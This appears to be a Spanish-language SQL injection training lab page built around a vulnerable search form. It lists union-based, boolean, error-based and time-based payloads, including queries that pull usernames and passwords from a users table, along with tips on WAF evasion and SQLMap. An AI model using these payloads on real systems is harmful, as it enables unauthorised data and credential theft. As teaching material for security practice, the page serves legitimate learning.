SQL Injection - Data Extraction

Domina técnicas avanzadas de extracción de datos mediante SQL injection en formularios de búsqueda

🔍 LABORATORIO DE EXTRACCIÓN DE DATOS

🔍Sistema de Búsqueda Vulnerable

Arsenal de Payloads SQL Injection

🔗Union-based SQL Injection

' UNION SELECT id, username, password, email FROM users --

' UNION SELECT 1,2,3,4 --

' UNION SELECT null, concat(username,':',password), null, null FROM users --

' UNION SELECT table_name, column_name, null, null FROM information_schema.columns --

🎯Boolean-based Blind

' OR 1=1 --

' OR '1'='1

' OR 'a'='a' --

' AND (SELECT LENGTH(database()))>5 --

💥Error-based Injection

' AND EXTRACTVALUE(1, CONCAT(':', (SELECT database())))--

' AND (SELECT COUNT(*) FROM information_schema.tables) --

' AND UPDATEXML(1,CONCAT('~',(SELECT version())),1) --

Time-based Blind

' OR SLEEP(5) --

' UNION SELECT SLEEP(5) --

' AND IF(1=1,SLEEP(5),0) --

' AND IF((SELECT LENGTH(database()))>5,SLEEP(3),0) --

🎓Técnicas Avanzadas

  • Schema Discovery: Enumera tablas y columnas mediante information_schema
  • Stacked Queries: Ejecuta múltiples consultas SQL separadas por ;
  • Filter Bypass: Evade WAFs usando encoding y técnicas de obfuscación
  • Blind Enumeration: Extrae datos byte por byte sin output directo

💡Tips de Pentesting

Observación: Las consultas SQL se muestran en pantalla para fines educativos. En un pentest real, estas no estarían visibles.

Metodología: Comienza con payloads simples y escala gradualmente a técnicas más complejas según la respuesta del sistema.

Automatización: Utiliza herramientas como SQLMap para automatizar la detección y explotación de estas vulnerabilidades.